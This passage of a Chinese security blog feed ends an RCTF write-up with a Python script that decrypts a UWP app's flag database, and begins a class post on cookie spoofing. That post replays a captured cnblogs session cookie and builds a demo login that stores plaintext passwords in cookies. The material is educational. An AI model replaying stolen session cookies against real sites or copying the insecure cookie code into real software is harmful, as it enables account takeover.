RoutedEventArgs e</span>)</span></span><br><span class="line">        &#123;</span><br><span class="line">            <span class="built_in">int</span> num;</span><br><span class="line">            <span class="keyword">if</span> (<span class="built_in">int</span>.TryParse(<span class="keyword">this</span>.textBox.Text, <span class="keyword">out</span> num))</span><br><span class="line">            &#123;</span><br><span class="line">                IEnumerable&lt;<span class="built_in">string</span>&gt; strs = </span><br><span class="line">                    <span class="keyword">from</span> p <span class="keyword">in</span> <span class="keyword">this</span>.conn.Table&lt;flag_table&gt;().Where((flag_table p) =&gt; p.Id == num)</span><br><span class="line">                    <span class="keyword">select</span> p.flag;</span><br><span class="line">                <span class="keyword">foreach</span> (<span class="built_in">string</span> str <span class="keyword">in</span> strs)</span><br><span class="line">                &#123;</span><br><span class="line">                    <span class="keyword">this</span>.textBlock.Text = <span class="built_in">string</span>.Concat(<span class="string">&quot;flag:&quot;</span>, MainPage.dfdfdfd(str));</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        [<span class="meta">DebuggerNonUserCode</span>]</span><br><span class="line">        [<span class="meta">GeneratedCode(<span class="string">&quot;Microsoft.Windows.UI.Xaml.Build.Tasks&quot;</span>, <span class="string">&quot; 14.0.0.0&quot;</span>)</span>]</span><br><span class="line">        <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">Connect</span>(<span class="params"><span class="built_in">int</span> connectionId, <span class="built_in">object</span> target</span>)</span></span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">switch</span> (connectionId)</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">                &#123;</span><br><span class="line">                    <span class="keyword">this</span>.button = (Button)target;</span><br><span class="line">                    Button button = <span class="keyword">this</span>.button;</span><br><span class="line">                    Button button1 = button;</span><br><span class="line">                    Button button2 = button;</span><br><span class="line">                    WindowsRuntimeMarshal.AddEventHandler&lt;RoutedEventHandler&gt;(<span class="keyword">new</span> Func&lt;RoutedEventHandler, EventRegistrationToken&gt;(button1.add_Click), <span class="keyword">new</span> Action&lt;EventRegistrationToken&gt;(button2.remove_Click), <span class="keyword">new</span> RoutedEventHandler(<span class="keyword">this</span>.button_Click));</span><br><span class="line">                    <span class="keyword">break</span>;</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">                &#123;</span><br><span class="line">                    <span class="keyword">this</span>.textBlock = (TextBlock)target;</span><br><span class="line">                    <span class="keyword">break</span>;</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">                &#123;</span><br><span class="line">                    <span class="keyword">this</span>.textBox = (TextBox)target;</span><br><span class="line">                    <span class="keyword">break</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">this</span>._contentLoaded = <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="built_in">string</span> <span class="title">dfdfdfd</span>(<span class="params"><span class="built_in">string</span> input</span>)</span></span><br><span class="line">        &#123;</span><br><span class="line">            IBuffer buffer = Convert.FromBase64String(input).AsBuffer();</span><br><span class="line">            <span class="built_in">string</span> str = Package.Current.Id.FamilyName.Substring(<span class="number">0</span>, <span class="number">16</span>);</span><br><span class="line">            <span class="built_in">string</span> str1 = <span class="string">&quot;0000000000000000&quot;</span>;</span><br><span class="line">            IBuffer buffer1 = Encoding.UTF8.GetBytes(str1).AsBuffer();</span><br><span class="line">            <span class="built_in">byte</span>[] bytes = Encoding.UTF8.GetBytes(str);</span><br><span class="line">            SymmetricKeyAlgorithmProvider symmetricKeyAlgorithmProvider = SymmetricKeyAlgorithmProvider.OpenAlgorithm(SymmetricAlgorithmNames.AesCbcPkcs7);</span><br><span class="line">            CryptographicKey cryptographicKey = symmetricKeyAlgorithmProvider.CreateSymmetricKey(bytes.AsBuffer());</span><br><span class="line">            IBuffer buffer2 = CryptographicEngine.Decrypt(cryptographicKey, buffer, buffer1);</span><br><span class="line">            <span class="keyword">return</span> CryptographicBuffer.ConvertBinaryToString(BinaryStringEncoding.Utf8, buffer2);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        [<span class="meta">DebuggerNonUserCode</span>]</span><br><span class="line">        [<span class="meta">GeneratedCode(<span class="string">&quot;Microsoft.Windows.UI.Xaml.Build.Tasks&quot;</span>, <span class="string">&quot; 14.0.0.0&quot;</span>)</span>]</span><br><span class="line">        <span class="function"><span class="keyword">public</span> IComponentConnector <span class="title">GetBindingConnector</span>(<span class="params"><span class="built_in">int</span> connectionId, <span class="built_in">object</span> target</span>)</span></span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        [<span class="meta">DebuggerNonUserCode</span>]</span><br><span class="line">        [<span class="meta">GeneratedCode(<span class="string">&quot;Microsoft.Windows.UI.Xaml.Build.Tasks&quot;</span>, <span class="string">&quot; 14.0.0.0&quot;</span>)</span>]</span><br><span class="line">        <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">InitializeComponent</span>()</span></span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">if</span> (!<span class="keyword">this</span>._contentLoaded)</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="keyword">this</span>._contentLoaded = <span class="literal">true</span>;</span><br><span class="line">                Application.LoadComponent(<span class="keyword">this</span>, <span class="keyword">new</span> Uri(<span class="string">&quot;ms-appx:///MainPage.xaml&quot;</span>), ComponentResourceLocation.Application);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>非常的清晰啊啊啊啊！这不是很容易就被人逆向了么。。。。</p><p>第一段的逻辑大概就是初始化逻辑</p><figure class="highlight cs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="title">MainPage</span>()</span></span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">this</span>.InitializeComponent();</span><br><span class="line">            <span class="keyword">this</span>.conn = <span class="keyword">new</span> SQLiteConnection(<span class="keyword">new</span> SQLitePlatformWinRT(), <span class="keyword">this</span>.path, <span class="literal">true</span>, <span class="literal">null</span>, <span class="literal">null</span>, <span class="literal">null</span>, <span class="literal">null</span>);</span><br><span class="line">            <span class="keyword">this</span>.conn.CreateTable&lt;flag_table&gt;(CreateFlags.None);</span><br><span class="line">        &#125;</span><br></pre></td></tr></table></figure><p>将一些基本内容初始化，并且在指定的路径下创建一个数据并创建一个表。<br>这个初始化又在做什么呢，我们继续看</p><figure class="highlight cs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">InitializeComponent</span>()</span></span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">if</span> (!<span class="keyword">this</span>._contentLoaded)</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="keyword">this</span>._contentLoaded = <span class="literal">true</span>;</span><br><span class="line">                Application.LoadComponent(<span class="keyword">this</span>, <span class="keyword">new</span> Uri(<span class="string">&quot;ms-appx:///MainPage.xaml&quot;</span>), ComponentResourceLocation.Application);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br></pre></td></tr></table></figure><p>大致就是读取当前逻辑，并且载入一个元素，其中有一个令人好奇的URi:MainPage.xaml,这个是一个什么东西呢，上网查了一下，似乎就是一个xml，用来管理解决方法的。至于那个LoadComponent就是加载位于指定统一资源标识符 (URI) 处的 XAML 文件，并将其转换为由该 XAML 文件的根元素指定的对象的实例。<br>然后我们需要找到这个数据库的位置，发现在下列位置:<br>private string path = Path.Combine(Package.Current.InstalledLocation.Path, “Assets\flag.sqlite”);<br>这个InstalledLoaction.Path就是我们前文提到的过的C://Program Files//Windows App目录。用Everything找一找也能找到这个flag.sqlite<br>主要逻辑就这些，显然这个东西和Andorid一样，是由事件驱动的。因此我们关注其中和按钮相关的函数:</p><figure class="highlight cs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">button_Click</span>(<span class="params"><span class="built_in">object</span> sender, RoutedEventArgs e</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="built_in">int</span> num;</span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">int</span>.TryParse(<span class="keyword">this</span>.textBox.Text, <span class="keyword">out</span> num))</span><br><span class="line">    &#123;</span><br><span class="line">        IEnumerable&lt;<span class="built_in">string</span>&gt; strs = </span><br><span class="line">            <span class="keyword">from</span> p <span class="keyword">in</span> <span class="keyword">this</span>.conn.Table&lt;flag_table&gt;().Where((flag_table p) =&gt; p.Id == num)</span><br><span class="line">            <span class="keyword">select</span> p.flag;</span><br><span class="line">        <span class="keyword">foreach</span> (<span class="built_in">string</span> str <span class="keyword">in</span> strs)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">this</span>.textBlock.Text = <span class="built_in">string</span>.Concat(<span class="string">&quot;flag:&quot;</span>, MainPage.dfdfdfd(str));</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个内容可以看到，此时会将我们的输入的text转换成一个数字，然后和flag_table里面的数据进行比较。我们打开数据库看一下:<br><img src="/2017/05/31/UWP%E9%80%86%E5%90%91%E5%88%9D%E6%8E%A5%E8%A7%A6/uwp03.png" alt=""><br>会发现，这个里面有很多的数据啊，总共有1024个呢。。。我们找打那个像瞎打的函数名的函数看看里面的内容:</p><figure class="highlight cs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="built_in">string</span> <span class="title">dfdfdfd</span>(<span class="params"><span class="built_in">string</span> input</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">    IBuffer buffer = Convert.FromBase64String(input).AsBuffer();</span><br><span class="line">    <span class="built_in">string</span> str = Package.Current.Id.FamilyName.Substring(<span class="number">0</span>, <span class="number">16</span>);</span><br><span class="line">    <span class="built_in">string</span> str1 = <span class="string">&quot;0000000000000000&quot;</span>;</span><br><span class="line">    IBuffer buffer1 = Encoding.UTF8.GetBytes(str1).AsBuffer();</span><br><span class="line">    <span class="built_in">byte</span>[] bytes = Encoding.UTF8.GetBytes(str);</span><br><span class="line">    SymmetricKeyAlgorithmProvider symmetricKeyAlgorithmProvider = SymmetricKeyAlgorithmProvider.OpenAlgorithm(SymmetricAlgorithmNames.AesCbcPkcs7);</span><br><span class="line">    CryptographicKey cryptographicKey = symmetricKeyAlgorithmProvider.CreateSymmetricKey(bytes.AsBuffer());</span><br><span class="line">    IBuffer buffer2 = CryptographicEngine.Decrypt(cryptographicKey, buffer, buffer1);</span><br><span class="line">    <span class="keyword">return</span> CryptographicBuffer.ConvertBinaryToString(BinaryStringEncoding.Utf8, buffer2);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>会发先，首先对输入的字符串进行base64解码，然后取回str = Package.Current.Id.FamilyName.Substring(0, 16);这个ID不是普通的ID，是这个UWP的标识号。取出前16位，并且我们这里使用此符号作为加密的密钥，对其进行解密。<br>也就是说，我们这里在数据库里面看到的数据其实就是**【加密后的数据】**。所以我们这里只需要遍历数据库，并且取出里面所有的数据，base64解码后进行AES解密即可。至于这个Package.Current.Id.FamilyName，我们可以通过访问APPXManifest.xaml找到，其实就是:<br>&lt;Identity Name=“26a6f9cc-d019-4f5d-8a1b-a352b7738f42”<br>这一串。</p><p>现在我们有了所有信息，就能够编写脚本解决这个问题了</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Cipher <span class="keyword">import</span> AES</span><br><span class="line"><span class="keyword">from</span> pkcs7 <span class="keyword">import</span> PKCS7Encoder</span><br><span class="line"><span class="keyword">import</span> sqlite3</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#declared outside of all functions</span></span><br><span class="line">key = <span class="string">b&#x27;26a6f9cc-d019-4f5d-8a1b-a352b7738f42&#x27;</span>[<span class="number">0</span>:<span class="number">16</span>]</span><br><span class="line">mode = AES.MODE_CBC</span><br><span class="line">iv = <span class="string">&quot;0000000000000000&quot;</span> </span><br><span class="line">encryptor = AES.new(key, mode, iv)</span><br><span class="line">encoder = PKCS7Encoder()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decode</span>(<span class="params">text</span>):</span><br><span class="line">encryptor = AES.new(key, mode, iv)</span><br><span class="line">plain_text = encryptor.decrypt(text)</span><br><span class="line">pad = plain_text[-<span class="number">1</span>]</span><br><span class="line"><span class="keyword">if</span> pad &gt; <span class="number">0</span> <span class="keyword">and</span> pad &lt;=<span class="number">16</span>:</span><br><span class="line">plain_text = plain_text[:<span class="built_in">len</span>(plain_text)-pad]</span><br><span class="line"><span class="keyword">return</span> plain_text</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">conn = sqlite3.connect(<span class="string">&quot;flag.sqlite&quot;</span>)</span><br><span class="line">cur = conn.cursor()</span><br><span class="line">table = cur.execute(<span class="string">&quot;SELECT * FROM flag_table&quot;</span>)</span><br><span class="line">s = table.fetchall()</span><br><span class="line">ans = []</span><br><span class="line"><span class="comment"># print(s)</span></span><br><span class="line"><span class="keyword">for</span> each_id, each_con <span class="keyword">in</span> s:</span><br><span class="line">ans.append(decode(base64.standard_b64decode(each_con.encode(<span class="string">&quot;utf-8&quot;</span>))))</span><br><span class="line"><span class="keyword">for</span> each <span class="keyword">in</span> ans:</span><br><span class="line"><span class="keyword">if</span> <span class="string">b&quot;RCTF&quot;</span> <span class="keyword">in</span> each:</span><br><span class="line"><span class="built_in">print</span>(each)</span><br><span class="line"></span><br><span class="line"><span class="comment"># RCTF&#123;Micr0s0ft_1aji&#125;</span></span><br></pre></td></tr></table></figure><p>吐槽一下，这个CBC模式好坑啊，会保留上一次运算结果这一点。。。只能每次new一个新的对象出来，才能够避免上次的影响。。。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;最近博客写的少了，发现整个人学习的动力也不够了哇，还是得边写边学才好&lt;/p&gt;
&lt;h2 id=&quot;more-uwp逆向初接触&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Reverse" scheme="https://showlinkroom.me/categories/Reverse/"/>
    
    
    <category term="Windows" scheme="https://showlinkroom.me/tags/Windows/"/>
    
    <category term="uwp" scheme="https://showlinkroom.me/tags/uwp/"/>
    
  </entry>
  
  <entry>
    <title>网络安全大作业6-cookie欺骗攻击</title>
    <link href="https://showlinkroom.me/2017/05/24/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A6-cookie%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB/"/>
    <id>https://showlinkroom.me/2017/05/24/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A6-cookie%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB/</id>
    <published>2017-05-24T09:04:46.000Z</published>
    <updated>2020-07-16T13:31:30.441Z</updated>
    
    <content type="html"><![CDATA[<p>大佬同学学校就是不一样。。都是实践类的作业做的累死了。。。</p><span id="more"></span><h2 id="cookie欺骗案例-博客园">cookie欺骗案例 – 博客园</h2><p>首先了解到博客园存在Cookie欺骗的位置，那么首先我们尝试进入博客园并且登陆,然后我们查看cookie的数值:<br><img src="/2017/05/24/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A6-cookie%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB/cookies01.png" alt=""><br>上面的红框框里面的就是记录了登陆状态的cookie名字和其对应value值。我们记录下这两个值</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">.CNBlogsCookie</span><br><span class="line">88DD4356D8C3480BBBAC57AC480166D9C5E1611C51FB67BDEC623F21676E62F9E6B9660FFD118625E0D5C8B58C5365F8D6E5D5ABA3B3EF2B9099DEC53CE62E0579A76CE52C312254E39D8C76063A0D3F3FDDD102</span><br></pre></td></tr></table></figure><p>然后我们此时erase当前cookie，刷新界面，发现没有进行登陆:<br><img src="/2017/05/24/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A6-cookie%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB/cookies02.png" alt=""><br>之后我们回到刚刚的界面上，重新输入我们刚刚得到的cookie:<br><img src="/2017/05/24/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A6-cookie%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB/cookies03.png" alt=""><br>刷新页面后，成功登入blog：<br><img src="/2017/05/24/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A6-cookie%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB/cookies04.png" alt=""></p><h2 id="cookie欺骗模拟">cookie欺骗模拟</h2><p>打开win7，设置IIS。<br>在控制面板中找到IIS的相关设置，打开IIS的基本功能，然后在管理工具中找到IIS的相关配置。<br>将IIS中编辑网站绑定的位置增加自己虚拟机的IP和端口，从而可以在本机对其进行访问:<br><img src="/2017/05/24/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A6-cookie%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB/cookies05.png" alt=""></p><p>然后。。。开始编写ASP的简单网页（我擦这个实验真是搞人。。。）</p><p>代码如下:</p><h3 id="login-aspx">login.aspx</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">&lt;%@ Page Language=&quot;C#&quot; Debug=&quot;True&quot; AutoEventWireup=&quot;true&quot; CodeFile=&quot;Login.aspx.cs&quot; Inherits=&quot;Login&quot; %&gt;  </span><br><span class="line">  </span><br><span class="line"></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span> <span class="keyword">PUBLIC</span> <span class="string">&quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot;</span> <span class="string">&quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;</span>&gt;</span>  </span><br><span class="line">  </span><br><span class="line"><span class="tag">&lt;<span class="name">html</span> <span class="attr">xmlns</span>=<span class="string">&quot;http://www.w3.org/1999/xhtml&quot;</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;<span class="name">head</span> <span class="attr">runat</span>=<span class="string">&quot;server&quot;</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>登录界面<span class="tag">&lt;/<span class="name">title</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">form</span> <span class="attr">id</span>=<span class="string">&quot;form1&quot;</span> <span class="attr">runat</span>=<span class="string">&quot;server&quot;</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">asp:Label</span> <span class="attr">ID</span>=<span class="string">&quot;Label1&quot;</span> <span class="attr">runat</span>=<span class="string">&quot;server&quot;</span> <span class="attr">Text</span>=<span class="string">&quot;用户&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">asp:Label</span>&gt;</span>  </span><br><span class="line">       <span class="tag">&lt;<span class="name">asp:TextBox</span> <span class="attr">ID</span>=<span class="string">&quot;labuser&quot;</span> <span class="attr">runat</span>=<span class="string">&quot;server&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">asp:TextBox</span>&gt;</span><span class="tag">&lt;<span class="name">br</span> /&gt;</span>  </span><br><span class="line">       <span class="tag">&lt;<span class="name">asp:Label</span> <span class="attr">ID</span>=<span class="string">&quot;Label2&quot;</span> <span class="attr">runat</span>=<span class="string">&quot;server&quot;</span> <span class="attr">Text</span>=<span class="string">&quot;密码&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">asp:Label</span>&gt;</span>  </span><br><span class="line">       <span class="tag">&lt;<span class="name">asp:TextBox</span> <span class="attr">ID</span>=<span class="string">&quot;labpwd&quot;</span> <span class="attr">runat</span>=<span class="string">&quot;server&quot;</span> <span class="attr">TextMode</span>=<span class="string">&quot;Password&quot;</span> <span class="attr">AutoCompleteType</span>=<span class="string">&quot;BusinessZipCode&quot;</span> <span class="attr">Width</span>=<span class="string">&quot;145px&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">asp:TextBox</span>&gt;</span><span class="tag">&lt;<span class="name">br</span> /&gt;</span>  </span><br><span class="line">       <span class="tag">&lt;<span class="name">asp:Button</span> <span class="attr">ID</span>=<span class="string">&quot;allow&quot;</span> <span class="attr">runat</span>=<span class="string">&quot;server&quot;</span> <span class="attr">OnClick</span>=<span class="string">&quot;allow_Click&quot;</span> <span class="attr">Text</span>=<span class="string">&quot;确定&quot;</span> /&gt;</span>   </span><br><span class="line">       <span class="tag">&lt;<span class="name">br</span> /&gt;</span>  </span><br><span class="line">&lt;%</span><br><span class="line">string visitname;</span><br><span class="line">try</span><br><span class="line">&#123;</span><br><span class="line">visitname = Request.Cookies[&quot;User&quot;].Value;</span><br><span class="line">if (visitname != &quot;&quot;) </span><br><span class="line">Label3.Text = visitname + &quot;你已经登录过了&quot;;</span><br><span class="line">&#125;</span><br><span class="line">catch&#123;</span><br><span class="line">Label3.Text = &quot;&quot;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">%&gt;</span><br><span class="line">       <span class="tag">&lt;<span class="name">asp:Label</span> <span class="attr">ID</span>=<span class="string">&quot;Label3&quot;</span> <span class="attr">runat</span>=<span class="string">&quot;server&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">asp:Label</span>&gt;</span><span class="tag">&lt;<span class="name">br</span> /&gt;</span>    </span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;/<span class="name">form</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span>  </span><br></pre></td></tr></table></figure><h3 id="login-aspx-cs">login.aspx.cs</h3><figure class="highlight cs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">using</span> System;  </span><br><span class="line"><span class="keyword">using</span> System.Collections.Generic;  </span><br><span class="line"><span class="keyword">using</span> System.Web;  </span><br><span class="line"><span class="keyword">using</span> System.Web.UI;  </span><br><span class="line"><span class="keyword">using</span> System.Web.UI.WebControls;  </span><br><span class="line"><span class="keyword">using</span> System.Data;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">partial</span> <span class="keyword">class</span> <span class="title">Login</span> : <span class="title">System.Web.UI.Page</span>  </span><br><span class="line">&#123;  </span><br><span class="line">    <span class="function"><span class="keyword">protected</span> <span class="keyword">void</span> <span class="title">Page_Load</span>(<span class="params"><span class="built_in">object</span> sender, EventArgs e</span>)</span>  </span><br><span class="line">    &#123;  </span><br><span class="line">    &#125;  </span><br><span class="line">        <span class="function"><span class="keyword">protected</span> <span class="keyword">void</span> <span class="title">allow_Click</span>(<span class="params"><span class="built_in">object</span> sender, EventArgs e</span>)</span>  </span><br><span class="line">   &#123;  </span><br><span class="line"><span class="built_in">string</span> username = labuser.Text;</span><br><span class="line"><span class="built_in">string</span> password = labpwd.Text;</span><br><span class="line">       <span class="keyword">if</span>((labuser.Text==<span class="string">&quot;&quot;</span>)||(labpwd.Text==<span class="string">&quot;&quot;</span>))  </span><br><span class="line">       &#123;  </span><br><span class="line">           Label3.Text=<span class="string">&quot;用户名与密码不能为空!&quot;</span>;  </span><br><span class="line">  </span><br><span class="line">       &#125;  </span><br><span class="line">       <span class="keyword">else</span>  </span><br><span class="line">       &#123;  </span><br><span class="line">           <span class="keyword">try</span>  </span><br><span class="line">           &#123;  </span><br><span class="line">               <span class="keyword">if</span>(labpwd.Text==<span class="string">&quot;llh111&quot;</span>)</span><br><span class="line">               &#123;  </span><br><span class="line">                   <span class="built_in">string</span> curuser=labuser.Text;  </span><br><span class="line">                   Label3.Text=<span class="string">&quot;登录成功,欢迎你,llh!&quot;</span>;</span><br><span class="line">   Response.Cookies.Add(<span class="keyword">new</span> HttpCookie(<span class="string">&quot;User&quot;</span>,username));</span><br><span class="line">   Response.Cookies.Add(<span class="keyword">new</span> HttpCookie(<span class="string">&quot;Password&quot;</span>,labpwd.Text));</span><br><span class="line">   <span class="built_in">int</span> CarCookieExpires = <span class="number">30</span>; <span class="comment">//Expires</span></span><br><span class="line">   Response.Cookies[<span class="string">&quot;Password&quot;</span>].Expires =  DateTime.Now.AddDays(CarCookieExpires);</span><br><span class="line">   Response.Cookies[<span class="string">&quot;User&quot;</span>].Expires =  DateTime.Now.AddDays(CarCookieExpires);</span><br><span class="line">               &#125;  </span><br><span class="line"><span class="keyword">else</span> <span 